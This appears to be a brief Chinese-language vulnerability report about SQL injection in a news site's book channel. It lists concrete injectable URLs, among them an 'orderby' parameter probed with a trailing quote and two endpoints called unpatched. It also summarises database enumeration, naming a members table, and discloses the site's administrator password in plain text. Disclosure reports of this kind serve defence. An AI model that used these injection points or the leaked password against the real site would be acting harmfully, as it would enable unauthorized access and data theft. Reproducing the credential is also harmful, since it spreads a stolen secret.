南海网读书频道:http://book.hinews.cn/
隐秘注射点:orderby这个字段存在注入
http://book.hinews.cn/search.php?chid=&sid=0?searchword=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%85%B3%E9%94%AE%E5%AD%97&caid=0&ccid4=0&indays=0&ordermode=0&searchsubmit=1&orderby=createdate'
未修复的注射点:
http://book.hinews.cn/list.php?caid=27
http://book.hinews.cn/archive.php?aid=541347
1.当前用户:
2.可跨库:
3.数据库dbbooks包含的表:
4.cm_members
5.管理员账户密码:
密码是:hinews@2011